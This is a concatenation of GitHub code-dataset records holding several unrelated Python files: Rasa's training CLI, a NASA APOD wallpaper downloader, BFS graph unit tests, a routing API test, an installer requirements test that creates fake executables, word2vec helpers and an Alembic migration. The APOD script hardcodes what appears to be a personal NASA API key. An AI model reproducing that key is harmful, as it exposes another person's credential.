argparse.ArgumentParser(\n description='Extract annotations from PDF file and insert them in corresponding LaTeX code')\n parser.add_argument('file', help='PDF file containing the annotations')\n parser.add_argument('--orig', '-o', metavar='PATH',\n help='Location of the original output pdf', dest='original')\n parser.add_argument(\n '--prefix', help='Prefix for the inserted LaTeX comment', default='Annotation from {author}: {text}')\n return parser.parse_args()\n\n\ndef main():\n args = parse_arguments()\n # fill defaults\n original = args.original\n if original is None:\n original = args.file\n\n # start process\n annotations = extract_annotations(args.file)\n mapping = find_mapping(annotations, original)\n insert_latex_comments(annotations, mapping, args.prefix)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"bitowl/pdfannotex","sub_path":"pdfannotex.py","file_name":"pdfannotex.py","file_ext":"py","file_size_in_byte":1240,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"5"} +{"seq_id":"34341611928","text":"import argparse\nimport logging\nimport sys\nfrom typing import Dict, List, Optional, Text\n\nfrom rasa.cli import SubParsersAction\nimport rasa.cli.arguments.train as train_arguments\n\nimport rasa.cli.utils\nfrom rasa.shared.importers.importer import TrainingDataImporter\nimport rasa.utils.common\nfrom rasa.core.train import do_compare_training\nfrom rasa.plugin import plugin_manager\nfrom rasa.shared.constants import (\n CONFIG_MANDATORY_KEYS_CORE,\n CONFIG_MANDATORY_KEYS_NLU,\n CONFIG_MANDATORY_KEYS,\n DEFAULT_DOMAIN_PATH,\n DEFAULT_DATA_PATH,\n)\n\nlogger = logging.getLogger(__name__)\n\n\ndef add_subparser(\n subparsers: SubParsersAction, parents: List[argparse.ArgumentParser]\n) -> None:\n \"\"\"Add all training parsers.\n\n Args:\n subparsers: subparser we are going to attach to\n parents: Parent parsers, needed to ensure tree structure in argparse\n \"\"\"\n train_parser = subparsers.add_parser(\n \"train\",\n help=\"Trains a Rasa model using your NLU data and stories.\",\n parents=parents,\n formatter_class=argparse.ArgumentDefaultsHelpFormatter,\n )\n\n train_arguments.set_train_arguments(train_parser)\n\n train_subparsers = train_parser.add_subparsers()\n train_core_parser = train_subparsers.add_parser(\n \"core\",\n parents=parents,\n conflict_handler=\"resolve\",\n formatter_class=argparse.ArgumentDefaultsHelpFormatter,\n help=\"Trains a Rasa Core model using your stories.\",\n )\n train_core_parser.set_defaults(func=run_core_training)\n\n train_nlu_parser = train_subparsers.add_parser(\n \"nlu\",\n parents=parents,\n formatter_class=argparse.ArgumentDefaultsHelpFormatter,\n help=\"Trains a Rasa NLU model using your NLU data.\",\n )\n train_nlu_parser.set_defaults(func=run_nlu_training)\n\n train_parser.set_defaults(func=lambda args: run_training(args, can_exit=True))\n\n train_arguments.set_train_core_arguments(train_core_parser)\n train_arguments.set_train_nlu_arguments(train_nlu_parser)\n\n\ndef run_training(args: argparse.Namespace, can_exit: bool = False) -> Optional[Text]:\n \"\"\"Trains a model.\n\n Args:\n args: Namespace arguments.\n can_exit: If `True`, the operation can send `sys.exit` in the case\n training was not successful.\n\n Returns:\n Path to a trained model or `None` if training was not successful.\n \"\"\"\n from rasa import train as train_all\n\n domain = rasa.cli.utils.get_validated_path(\n args.domain, \"domain\", DEFAULT_DOMAIN_PATH, none_is_valid=True\n )\n config = rasa.cli.utils.get_validated_config(args.config, CONFIG_MANDATORY_KEYS)\n\n training_files = [\n rasa.cli.utils.get_validated_path(\n f, \"data\", DEFAULT_DATA_PATH, none_is_valid=True\n )\n for f in args.data\n ]\n\n if not args.skip_validation:\n logger.info(\"Started validating domain and training data...\")\n importer = TrainingDataImporter.load_from_config(\n domain_path=args.domain, training_data_paths=args.data, config_path=config\n )\n rasa.cli.utils.validate_files(\n args.fail_on_validation_warnings, args.validation_max_history, importer\n )\n\n training_result = train_all(\n domain=domain,\n config=config,\n training_files=training_files,\n output=args.out,\n dry_run=args.dry_run,\n force_training=args.force,\n fixed_model_name=args.fixed_model_name,\n persist_nlu_training_data=args.persist_nlu_data,\n core_additional_arguments={\n **extract_core_additional_arguments(args),\n **_extract_additional_arguments(args),\n },\n nlu_additional_arguments=extract_nlu_additional_arguments(args),\n model_to_finetune=_model_for_finetuning(args),\n finetuning_epoch_fraction=args.epoch_fraction,\n )\n if training_result.code != 0 and can_exit:\n sys.exit(training_result.code)\n\n return training_result.model\n\n\ndef _model_for_finetuning(args: argparse.Namespace) -> Optional[Text]:\n if args.finetune == train_arguments.USE_LATEST_MODEL_FOR_FINE_TUNING:\n # We use this constant to signal that the user specified `--finetune` but\n # didn't provide a path to a model. In this case we try to load the latest\n # model from the output directory (that's usually models/).\n return args.out\n else:\n return args.finetune\n\n\ndef run_core_training(args: argparse.Namespace) -> Optional[Text]:\n \"\"\"Trains a Rasa Core model only.\n\n Args:\n args: Command-line arguments to configure training.\n\n Returns:\n Path to a trained model or `None` if training was not successful.\n \"\"\"\n from rasa.model_training import train_core\n\n args.domain = rasa.cli.utils.get_validated_path(\n args.domain, \"domain\", DEFAULT_DOMAIN_PATH, none_is_valid=True\n )\n story_file = rasa.cli.utils.get_validated_path(\n args.stories, \"stories\", DEFAULT_DATA_PATH, none_is_valid=True\n )\n additional_arguments = {\n **extract_core_additional_arguments(args),\n **_extract_additional_arguments(args),\n }\n\n # Policies might be a list for the compare training. Do normal training\n # if only list item was passed.\n if not isinstance(args.config, list) or len(args.config) == 1:\n if isinstance(args.config, list):\n args.config = args.config[0]\n\n config = rasa.cli.utils.get_validated_config(\n args.config, CONFIG_MANDATORY_KEYS_CORE\n )\n\n return train_core(\n domain=args.domain,\n config=config,\n stories=story_file,\n output=args.out,\n fixed_model_name=args.fixed_model_name,\n additional_arguments=additional_arguments,\n model_to_finetune=_model_for_finetuning(args),\n finetuning_epoch_fraction=args.epoch_fraction,\n )\n else:\n do_compare_training(args, story_file, additional_arguments)\n return None\n\n\ndef run_nlu_training(args: argparse.Namespace) -> Optional[Text]:\n \"\"\"Trains an NLU model.\n\n Args:\n args: Namespace arguments.\n\n Returns:\n Path to a trained model or `None` if training was not successful.\n \"\"\"\n from rasa.model_training import train_nlu\n\n config = rasa.cli.utils.get_validated_config(args.config, CONFIG_MANDATORY_KEYS_NLU)\n nlu_data = rasa.cli.utils.get_validated_path(\n args.nlu, \"nlu\", DEFAULT_DATA_PATH, none_is_valid=True\n )\n\n if args.domain:\n args.domain = rasa.cli.utils.get_validated_path(\n args.domain, \"domain\", DEFAULT_DOMAIN_PATH, none_is_valid=True\n )\n\n return train_nlu(\n config=config,\n nlu_data=nlu_data,\n output=args.out,\n fixed_model_name=args.fixed_model_name,\n persist_nlu_training_data=args.persist_nlu_data,\n additional_arguments={\n **extract_nlu_additional_arguments(args),\n **_extract_additional_arguments(args),\n },\n domain=args.domain,\n model_to_finetune=_model_for_finetuning(args),\n finetuning_epoch_fraction=args.epoch_fraction,\n )\n\n\ndef extract_core_additional_arguments(args: argparse.Namespace) -> Dict:\n arguments = {}\n\n if \"augmentation\" in args:\n arguments[\"augmentation_factor\"] = args.augmentation\n if \"debug_plots\" in args:\n arguments[\"debug_plots\"] = args.debug_plots\n\n return arguments\n\n\ndef extract_nlu_additional_arguments(args: argparse.Namespace) -> Dict:\n arguments = {}\n\n if \"num_threads\" in args:\n arguments[\"num_threads\"] = args.num_threads\n\n return arguments\n\n\ndef _extract_additional_arguments(args: argparse.Namespace) -> Dict:\n space = plugin_manager().hook.handle_space_args(args=args)\n return space or {}\n","repo_name":"RasaHQ/rasa","sub_path":"rasa/cli/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":7798,"program_lang":"python","lang":"en","doc_type":"code","stars":17244,"dataset":"github-code","pt":"5"} +{"seq_id":"28793042983","text":"\"\"\" \nCOMP 593 - Final Project\n\nDescription: \n Downloads NASA's Astronomy Picture of the Day (APOD) from a specified date\n and sets it as the desktop background image.\n\nUsage:\n python apod_desktop.py image_dir_path [apod_date]\n\nParameters:\n image_dir_path = Full path of directory in which APOD image is stored\n apod_date = APOD image date (format: YYYY-MM-DD)\n\nHistory:\n Date Author Description\n 2022-03-11 J.Dalby Initial creation\n 2022-04-27 J.Herzuk Finished Script\n\n\"\"\"\nfrom sys import argv, exit\nfrom datetime import datetime, date\nfrom hashlib import sha256\nfrom os import path\nimport os\nimport sqlite3\nimport requests\nimport re\nimport ctypes\n\ndef main():\n\n # Determine the paths where files are stored\n image_dir_path = get_image_dir_path()\n db_path = path.join(image_dir_path, 'apod_images.db')\n\n # Get the APOD date, if specified as a parameter\n apod_date = get_apod_date()\n\n # Create the images database if it does not already exist\n create_image_db(db_path)\n\n # Get info for the APOD\n apod_info_dict = get_apod_info(apod_date)\n \n # Download today's APOD\n image_url = apod_info_dict['url']\n image_msg = download_apod_image(image_url)\n image_sha256 = sha256(image_msg).hexdigest()\n image_size = len(image_msg)\n image_path = get_image_path(image_url, image_dir_path)\n \n # Print APOD image information\n print_apod_info(image_url, image_path, image_size, image_sha256)\n \n # Add image to cache if not already present\n if not image_already_in_db(db_path, image_sha256):\n save_image_file(image_msg, image_path)\n add_image_to_db(db_path, image_path, image_size, image_sha256)\n \n # Set the desktop background image to the selected APOD\n set_desktop_background_image(image_path)\n\ndef get_image_dir_path():\n \"\"\"\n Validates the command line parameter that specifies the path\n in which all downloaded images are saved locally.\n\n :returns: Path of directory in which images are saved locally\n \"\"\"\n if len(argv) >= 2:\n #gets the directory path from the parameter\n dir_path = argv[1]\n if path.isdir(dir_path):\n print(\"Images directory:\", dir_path)\n return dir_path\n else:\n print('Error: Non-existent directory', dir_path)\n exit('Script execution aborted')\n else:\n print('Error: Missing path parameter.')\n exit('Script execution aborted')\n\ndef get_apod_date():\n \"\"\"\n Validates the command line parameter that specifies the APOD date.\n Aborts script execution if date format is invalid.\n\n :returns: APOD date as a string in 'YYYY-MM-DD' format\n \"\"\" \n if len(argv) >= 3:\n # Date parameter has been provided, so get it\n apod_date = argv[2]\n\n # Validate the date parameter format\n try:\n datetime.strptime(apod_date, '%Y-%m-%d')\n except ValueError:\n print('Error: Incorrect date format; Should be YYYY-MM-DD')\n exit('Script execution aborted')\n else:\n # No date parameter has been provided, so use today's date\n apod_date = date.today().isoformat()\n \n print(\"APOD date:\", apod_date)\n return apod_date\n\ndef get_image_path(image_url, dir_path):\n \"\"\"\n Determines the path at which an image downloaded from\n a specified URL is saved locally.\n\n :param apod_info_dict: Dictionary containing metadata for the image\n :param dir_path: Path of directory in which image is saved locally\n :returns: Path at which image is saved locally\n \"\"\"\n #uses regex to extract the image name from the url\n url_search = re.search(r\".*/(.*)\", image_url)\n\n image_name = url_search.group(1)\n #joins the directory path with the image name to create the image path\n image_path = os.path.join(dir_path, image_name)\n\n return image_path\n\ndef get_apod_info(date):\n \"\"\"\n Gets information from the NASA API for the Astronomy \n Picture of the Day (APOD) from a specified date.\n\n :param date: APOD date formatted as YYYY-MM-DD\n :returns: Dictionary of APOD info\n \"\"\" \n #my NASA APOD api key\n api_key = '79bUBvryLhNhbVOMkA3gvy4NbR50Dz2hfh5VdFR2'\n\n print(\"Retrieving APOD Data...\", end='')\n \n URL = 'https://api.nasa.gov/planetary/apod'\n params = {\n 'api_key': api_key,\n 'date': date\n }\n #queries the API for the image info\n response = requests.get(URL, params=params)\n\n if response.status_code == 200:\n print(\"Success.\")\n return response.json()\n\n else:\n print('failed. Response code:', response.status_code)\n return \n \ndef print_apod_info(image_url, image_path, image_size, image_sha256):\n \"\"\"\n Prints information about the APOD\n\n :param image_url: URL of image\n :param image_path: Path of the image file saved locally\n :param image_size: Size of image in bytes\n :param image_sha256: SHA-256 of image\n :returns: None\n \"\"\" \n #prints out the relevant information about the APOD \n print('Image URL: ', image_url)\n print('Image Path: ', image_path)\n print('Image Size: ', str(image_size), 'bytes')\n print('Image Hash: ', image_sha256)\n\ndef download_apod_image(image_url):\n \"\"\"\n Downloads an image from a specified URL.\n\n :param image_url: URL of image\n :returns: Response message that contains image data\n \"\"\"\n print(\"Retrieving Image Data...\", end='')\n #Queries the image url to retrive the response content\n image_data = requests.get(image_url)\n if image_data.status_code == 200:\n print(\"Success.\")\n image_msg = image_data.content\n return image_msg\n\n else:\n print('failed. Response code:', image_data.status_code)\n return \n\ndef save_image_file(image_msg, image_path):\n \"\"\"\n Extracts an image file from an HTTP response message\n and saves the image file to disk.\n\n :param image_msg: HTTP response message\n :param image_path: Path to save image file\n :returns: None\n \"\"\"\n print(\"Saving image to disk...\", end=\"\")\n #saves the content of image_msg to the hardrive at image_path\n with open(image_path, 'wb') as file:\n file.write(image_msg)\n print(\"Success.\")\n\ndef create_image_db(db_path):\n \"\"\"\n Creates an image database if it doesn't already exist.\n\n :param db_path: Path of .db file\n :returns: None\n \"\"\"\n print(\"Creating image database...\", end=\"\")\n #creates the images database if it doesn't already exit\n myConnection = sqlite3.connect(db_path)\n myCursor = myConnection.cursor()\n create_APOD_table = \"\"\" CREATE TABLE IF NOT EXISTS images (\n id integer PRIMARY KEY,\n image_path text NOT NULL,\n image_size text NOT NULL,\n hash text NOT NULL,\n downloaded_at datetime NOT NULL\n );\"\"\"\n myCursor.execute(create_APOD_table)\n\n myConnection.commit()\n myConnection.close()\n\n print(\"Success.\")\n \ndef add_image_to_db(db_path, image_path, image_size, image_sha256):\n \"\"\"\n Adds a specified APOD image to the DB.\n\n :param db_path: Path of .db file\n :param image_path: Path of the image file saved locally\n :param image_size: Size of image in bytes\n :param image_sha256: SHA-256 of image\n :returns: None\n \"\"\"\n print(\"Adding image to database...\", end=\"\")\n #adds the saved image to the database\n myConnection = sqlite3.connect(db_path)\n myCursor = myConnection.cursor()\n add_image_query = \"\"\"INSERT INTO images (image_path, \n image_size, \n hash, \n downloaded_at) \n VALUES (?, ?, ?, ?);\"\"\"\n\n my_image = (image_path, image_size, image_sha256, datetime.now())\n\n myCursor.execute(add_image_query, my_image)\n\n myConnection.commit()\n myConnection.close()\n\n print(\"Success.\")\n\ndef image_already_in_db(db_path, image_sha256):\n \"\"\"\n Determines whether the image in a response message is already present\n in the DB by comparing its SHA-256 to those in the DB.\n\n :param db_path: Path of .db file\n :param image_sha256: SHA-256 of image\n :returns: True if image is already in DB; False otherwise\n \"\"\" \n print(\"Searching for image in database...\", end = \"\")\n my_connection = sqlite3.connect(db_path)\n my_cursor = my_connection.cursor()\n\n args = (image_sha256)\n hash_search =\"\"\"SELECT id FROM images WHERE hash = ?\"\"\"\n\n my_cursor.execute(hash_search, [args])\n results = my_cursor.fetchall()\n my_connection.close()\n\n if len(results) < 1:\n print(\"Image not found.\")\n return False\n\n else:\n print(\"Image found.\")\n return True\n\ndef set_desktop_background_image(image_path):\n \"\"\"\n Changes the desktop wallpaper to a specific image.\n\n :param image_path: Path of image file\n :returns: None\n \"\"\"\n print(\"Setting image as desktop background...\", end=\"\")\n ctypes.windll.user32.SystemParametersInfoW(20, 0, image_path, 0)\n print(\"Success.\")\n\nmain()","repo_name":"JoshHerzuk/Comp-593-Final-Project","sub_path":"apod_desktop.py","file_name":"apod_desktop.py","file_ext":"py","file_size_in_byte":9108,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"43696571031","text":"import unittest\n\nfrom typing import List, Dict\nfrom grafo import Grafo,Vertice\nclass TestGrafo(unittest.TestCase):\n def setUp(self):\n self.arr_tests = []\n\n\n self.arr_tests.append(Grafo())\n self.arr_tests[0].adiciona_vertice(0)\n self.arr_tests[0].adiciona_vertice(1)\n self.arr_tests[0].adiciona_vertice(2)\n self.arr_tests[0].adiciona_vertice(3)\n self.arr_tests[0].adiciona_vertice(4)\n self.arr_tests[0].adiciona_vertice(5)\n self.arr_tests[0].adiciona_vertice(6)\n\n self.arr_tests[0].adiciona_aresta(0, 1)\n self.arr_tests[0].adiciona_aresta(1, 2)\n self.arr_tests[0].adiciona_aresta(1, 3)\n self.arr_tests[0].adiciona_aresta(2, 5)\n self.arr_tests[0].adiciona_aresta(3, 5)\n self.arr_tests[0].adiciona_aresta(4, 5)\n\n self.arr_tests.append(Grafo())\n self.arr_tests[1].adiciona_vertice(0)\n self.arr_tests[1].adiciona_vertice(1)\n self.arr_tests[1].adiciona_vertice(2)\n self.arr_tests[1].adiciona_vertice(3)\n\n self.arr_tests[1].adiciona_aresta(0, 1)\n self.arr_tests[1].adiciona_aresta(1, 2)\n self.arr_tests[1].adiciona_aresta(2, 3)\n self.arr_tests[1].adiciona_aresta(3, 1)\n\n def grau_separacao_result_teste(self,valor_vertice_inicial:str,esperado:Dict[str,int], dict_respostas:Dict[Vertice,int]):\n lst_pessoas_respostas = set([vertice.valor for vertice in dict_respostas.keys()])\n lst_pessoas_esperado = set(esperado.keys())\n \n set_faltou = lst_pessoas_esperado - lst_pessoas_respostas\n set_pessoas_invalidas = lst_pessoas_respostas - lst_pessoas_esperado\n\n self.assertTrue(len(set_faltou)==0,msg=f\"Faltou a distancia das seguintes pessoas: {set_faltou}\")\n self.assertTrue(len(set_pessoas_invalidas)==0,msg=f\"As pessoas {set_pessoas_invalidas} não deveriam estar inclusas no resultado\")\n\n for vertice,distancia in dict_respostas.items():\n pessoa = vertice.valor\n self.assertEqual(esperado[pessoa],distancia,\n f\"O grau de separação entre {valor_vertice_inicial} e {pessoa} deveria ser {esperado[pessoa]} e foi {distancia}\")\n\n def test_grau_separacao(self):\n grafo = Grafo()\n grafo.adiciona_vertice(\"Alice\")\n grafo.adiciona_vertice(\"Bob\")\n grafo.adiciona_vertice(\"Carol\")\n grafo.adiciona_vertice(\"Daniel\")\n grafo.adiciona_vertice(\"Elisa\")\n grafo.adiciona_vertice(\"Fabio\")\n grafo.adiciona_vertice(\"Gabriel\")\n grafo.adiciona_vertice(\"Igor\")\n grafo.adiciona_vertice(\"Katia\")\n\n \n\n grafo.adiciona_aresta(\"Alice\",\"Carol\")\n grafo.adiciona_aresta(\"Alice\",\"Daniel\")\n grafo.adiciona_aresta(\"Alice\",\"Igor\")\n\n grafo.adiciona_aresta(\"Bob\",\"Alice\")\n grafo.adiciona_aresta(\"Bob\",\"Carol\")\n\n grafo.adiciona_aresta(\"Carol\",\"Alice\")\n grafo.adiciona_aresta(\"Carol\",\"Daniel\")\n\n grafo.adiciona_aresta(\"Daniel\",\"Carol\")\n grafo.adiciona_aresta(\"Daniel\",\"Elisa\")\n\n grafo.adiciona_aresta(\"Elisa\",\"Gabriel\")\n\n grafo.adiciona_aresta(\"Igor\",\"Daniel\")\n grafo.adiciona_aresta(\"Igor\",\"Gabriel\")\n\n grafo.adiciona_aresta(\"Gabriel\",\"Katia\")\n\n\n distancias_esperadas_por_v_inicial = {\"Alice\":{\n \"Alice\":0,\n \"Bob\":float(\"inf\"),\n \"Carol\":1,\n \"Daniel\":1,\n \"Elisa\":2,\n \"Fabio\":float(\"inf\"),\n \"Gabriel\":2,\n \"Igor\":1,\n \"Katia\":3 },\n \"Bob\":{\n \"Alice\":1,\n \"Bob\":0,\n \"Carol\":1,\n \"Daniel\":2,\n \"Elisa\":3,\n \"Fabio\":float(\"inf\"),\n \"Gabriel\":3,\n \"Igor\":2,\n \"Katia\":4 \n }, \n \"Carol\":{\"Alice\":1,\n \"Bob\":float(\"inf\"),\n \"Carol\":0,\n \"Daniel\":1,\n \"Elisa\":2,\n \"Fabio\":float(\"inf\"),\n \"Gabriel\":3,\n \"Igor\":2,\n \"Katia\":4},\n \"Daniel\":{\n \"Alice\":2,\n \"Carol\":1,\n \"Bob\":float(\"inf\"),\n \"Daniel\":0,\n \"Elisa\":1,\n \"Fabio\":float(\"inf\"),\n \"Gabriel\":2,\n \"Igor\":3,\n \"Katia\":3\n }\n } \n for vertice_inicial,distancias_esperadas in distancias_esperadas_por_v_inicial.items():\n dict_respostas = grafo.grau_separacao(vertice_inicial)\n self.grau_separacao_result_teste(vertice_inicial, distancias_esperadas, dict_respostas)\n\n \n def test_grau_separacao_victor(self):\n grafo = Grafo()\n grafo.adiciona_vertice(\"Victor\")\n grafo.adiciona_vertice(\"Gabriel Fallen\")\n grafo.adiciona_vertice(\"Maycon\")\n grafo.adiciona_vertice(\"Leticia\")\n grafo.adiciona_vertice(\"Giovana\")\n grafo.adiciona_vertice(\"Lorena\")\n grafo.adiciona_vertice(\"Felipe\")\n grafo.adiciona_vertice(\"Valentina\")\n grafo.adiciona_vertice(\"Juliana\")\n grafo.adiciona_vertice(\"Rubens\")\n\n\n grafo.adiciona_aresta(\"Victor\",\"Maycon\")\n grafo.adiciona_aresta(\"Victor\",\"Leticia\")\n grafo.adiciona_aresta(\"Victor\",\"Lorena\")\n grafo.adiciona_aresta(\"Victor\",\"Felipe\")\n\n grafo.adiciona_aresta(\"Maycon\",\"Victor\")\n grafo.adiciona_aresta(\"Maycon\",\"Juliana\")\n grafo.adiciona_aresta(\"Maycon\",\"Leticia\")\n\n grafo.adiciona_aresta(\"Leticia\",\"Giovana\")\n grafo.adiciona_aresta(\"Leticia\",\"Maycon\")\n grafo.adiciona_aresta(\"Leticia\",\"Victor\")\n\n grafo.adiciona_aresta(\"Giovana\",\"Leticia\")\n\n grafo.adiciona_aresta(\"Lorena\",\"Victor\")\n grafo.adiciona_aresta(\"Lorena\",\"Valentina\")\n grafo.adiciona_aresta(\"Lorena\",\"Felipe\")\n grafo.adiciona_aresta(\"Lorena\",\"Rubens\")\n\n grafo.adiciona_aresta(\"Felipe\",\"Victor\")\n grafo.adiciona_aresta(\"Felipe\",\"Lorena\")\n grafo.adiciona_aresta(\"Felipe\",\"Rubens\")\n\n grafo.adiciona_aresta(\"Valentina\",\"Lorena\")\n\n grafo.adiciona_aresta(\"Juliana\",\"Maycon\")\n\n grafo.adiciona_aresta(\"Rubens\",\"Felipe\")\n grafo.adiciona_aresta(\"Rubens\",\"Lorena\")\n\n distancias_esperadas_por_v_inicial = {\n \"Victor\":{\n \"Victor\":0,\n \"Gabriel Fallen\":float(\"inf\"),\n \"Maycon\":1,\n \"Leticia\":1,\n \"Giovana\":2,\n \"Lorena\":1,\n \"Felipe\":1,\n \"Valentina\":2,\n \"Juliana\":2, \n \"Rubens\":2\n },\n \"Maycon\":{\n \"Victor\":1,\n \"Gabriel Fallen\":float(\"inf\"),\n \"Maycon\":0,\n \"Leticia\":1,\n \"Giovana\":2,\n \"Lorena\":2,\n \"Felipe\":2,\n \"Valentina\":3,\n \"Juliana\":1, \n \"Rubens\":3\n },\n \"Felipe\":{\n \"Victor\":1,\n \"Gabriel Fallen\":float(\"inf\"),\n \"Maycon\":2,\n \"Leticia\":2,\n \"Giovana\":3,\n \"Lorena\":1,\n \"Felipe\":0,\n \"Valentina\":2,\n \"Juliana\":3, \n \"Rubens\":1\n } \n } \n for vertice_inicial,distancias_esperadas in distancias_esperadas_por_v_inicial.items():\n dict_respostas = grafo.grau_separacao(vertice_inicial)\n self.grau_separacao_result_teste(vertice_inicial, distancias_esperadas, dict_respostas)\n \nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"vmleroy/laed-2-cefetmg","sub_path":"Graphs/busca-em-largura/laeds2-busca-largura-master/grafo_teste.py","file_name":"grafo_teste.py","file_ext":"py","file_size_in_byte":9936,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"22355259658","text":"\n\nimport openrouteservice\nfrom openrouteservice import convert\nimport shapely\nimport geojson\nimport os\nimport json\n'''\ninstall ors library:\nhttps://openrouteservice-py.readthedocs.io/en/latest/\n\nget your api key:\nhttps://openrouteservice.org/dev/#/home\n\npaste it into key.txt (keep your key to yourself!)\n'''\nprint(os.getcwd())\n\nroutes = []\n\nstart = (8.34234,48.23424)\nend = (8.34423,48.26424)\ncoords = (start, end)\nkeyfile = open('key.txt', 'r')\nkey = keyfile.read()\nclient = openrouteservice.Client(key=key) # Specify your personal API key\n# decode_polyline needs the geometry only\n\nprofile = 'cycling-regular'\nextra_info = ['steepness', 'suitability', 'surface', 'waycategory', 'waytype']\nresponse = client.directions(coords, profile = 'cycling-regular', extra_info = extra_info)\nprint(response)\ngeometry = response['routes'][0]['geometry']\nroutes.append(geometry)\n\nwith open('response.json', 'w') as outfile:\n json.dump(response, outfile)\n\n\ndecoded = convert.decode_polyline(geometry)\nwith open('route.geojson', 'w') as outfile:\n json.dump(decoded, outfile)\n#print(decoded)\n","repo_name":"ClimathonHeidelberg/attractive-cyclist","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1084,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"11219278356","text":"\"\"\"\n\nThis script creates fake executables (pdflatex, python2.7, etc...)\nto test requirements check in setup.py\n\nAll fake executables are created in temporary directory and safely deleted at the end.\n\nsetup.py is running with PATH set to temporary directory, so actual environment\ndoes not affect this test\n\n\"\"\"\nimport os\nimport shutil\nimport sys\nimport subprocess\nimport tempfile\n\n\nclass TempDirectory(object):\n def __init__(self):\n self.name = None\n\n def __enter__(self):\n self.name = tempfile.mkdtemp()\n return self\n\n def __exit__(self, exc_type, exc_val, exc_tb):\n if self.name is not None:\n shutil.rmtree(self.name)\n\n\nclass FakeExecutablesMaker(object):\n def __init__(self, dirname):\n assert os.path.isdir(dirname)\n self.dirname = dirname\n\n def __call__(self, name, output=\"\", channel='stdout'):\n assert channel in [\"stdout\", \"stderr\"]\n command_name = os.path.join(self.dirname, name)\n with open(command_name, \"w\") as fout:\n fout.write(\"#!%s\\n\" % sys.executable)\n fout.write(\"from __future__ import print_function\\n\")\n fout.write(\"import sys\\n\")\n fout.write(\"print(%s, file=sys.%s)\" % (repr(output), channel))\n os.chmod(command_name, 0o755)\n\n\ndef test_configuration(fake_commands, expected_exit_code):\n with TempDirectory() as f:\n env = dict(os.environ, PATH=f.name)\n make_fake_executable = FakeExecutablesMaker(f.name)\n for args in fake_commands:\n make_fake_executable(*args)\n\n ret_code = subprocess.call([sys.executable,\n 'setup.py',\n \"--skip-extension-install\"],\n env=env\n )\n assert ret_code == expected_exit_code, '%d != %d' % (ret_code, expected_exit_code)\n\n\nREQUIREMENT_CHECK_SUCCESS = 0\nREQUIREMENT_CHECK_UNKNOWN = 64\nREQUIREMENT_CHECK_ERROR = 65\n\ngood_configurations = []\n\nfor pdf2svg in [[(\"pstoedit\", \"version 1.1\", \"stderr\"),\n (\"ghostscript\", \"9.25\")\n ],\n [(\"pdf2svg\",)]\n ]:\n for latex in [(\"pdflatex\",), (\"lualatex\",), (\"xelatex\",)]:\n good_configurations.append([\n (\"inkscape\",),\n latex\n ] + pdf2svg)\n\nfor good_configuration in good_configurations:\n test_configuration(good_configuration, REQUIREMENT_CHECK_SUCCESS)\n\nfor good_configuration in good_configurations:\n for i in range(len(good_configuration)):\n # good configuration without one element is bad\n bad_configuration = good_configuration[:i] + good_configuration[i + 1:]\n test_configuration(bad_configuration, REQUIREMENT_CHECK_ERROR)\n\ntest_configuration([\n (\"inkscape\",),\n], REQUIREMENT_CHECK_ERROR)\n\ntest_configuration([\n (\"inkscape\",),\n (\"pdflatex\",),\n (\"pstoedit\", \"version 3.70\", \"stderr\"),\n (\"ghostscript\", \"9.22\")\n], REQUIREMENT_CHECK_ERROR)\n\ntest_configuration([\n (\"inkscape\",),\n (\"pdflatex\",),\n (\"pstoedit\",),\n (\"ghostscript\",)\n], REQUIREMENT_CHECK_UNKNOWN)\n\ntest_configuration([\n (\"inkscape\",),\n (\"pdflatex\",),\n (\"pstoedit\",),\n (\"ghostscript\",),\n (\"pdf2svg\",)\n], REQUIREMENT_CHECK_SUCCESS)\n\ntest_configuration([\n], REQUIREMENT_CHECK_ERROR)\n","repo_name":"ilnanny/Inkscape-addons","sub_path":"textext-master/test_installation_script.py","file_name":"test_installation_script.py","file_ext":"py","file_size_in_byte":3401,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"5"} +{"seq_id":"3631603528","text":"from gensim.models.word2vec import Word2Vec, PathLineSentences\nimport logging \nimport multiprocessing\nimport numpy as np\nfrom keras.layers import Embedding\n\ndef update_model():\n model = Word2Vec.load('../models/namehere.model')\n model.build_vocab([['<unseen>']*10], update=True)\n model.build_vocab([['<zero>']*10], update=True)\n model.wv.syn0[model.wv.vocab['<zero>'].index] = np.zeros(100)\n model.wv.syn0[model.wv.vocab['<unseen>'].index] = np.random.uniform(-0.25, 0.25, 100)\n model.save('../models/namehere.model')\n print(model['<zero>'])\n print(model['<unseen>'])\n\ndef word2vec_embedding_layer(embeddings_path='../NLP_Preprocessing/models/model_1/embeddings/result.model-retrained-retrained_train_test.wv.vectors.npy'):\n weights = np.load(open(embeddings_path, 'rb'))\n print(weights.shape)\n layer = Embedding(input_dim=weights.shape[0], output_dim=weights.shape[1], weights=[weights], trainable=False)\n return layer\n","repo_name":"Centroida/case_ontotext","sub_path":"NLP_Modelling/utils/utils_wv.py","file_name":"utils_wv.py","file_ext":"py","file_size_in_byte":956,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"43243217260","text":"\"\"\"empty message\n\nRevision ID: 158d20707cff\nRevises: 498c0554bf32\nCreate Date: 2022-02-11 20:46:15.870276\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '158d20707cff'\ndown_revision = '498c0554bf32'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('blog', sa.Column('name', sa.String(length=200), nullable=True))\n op.create_unique_constraint(None, 'blog', ['name'])\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_constraint(None, 'blog', type_='unique')\n op.drop_column('blog', 'name')\n # ### end Alembic commands 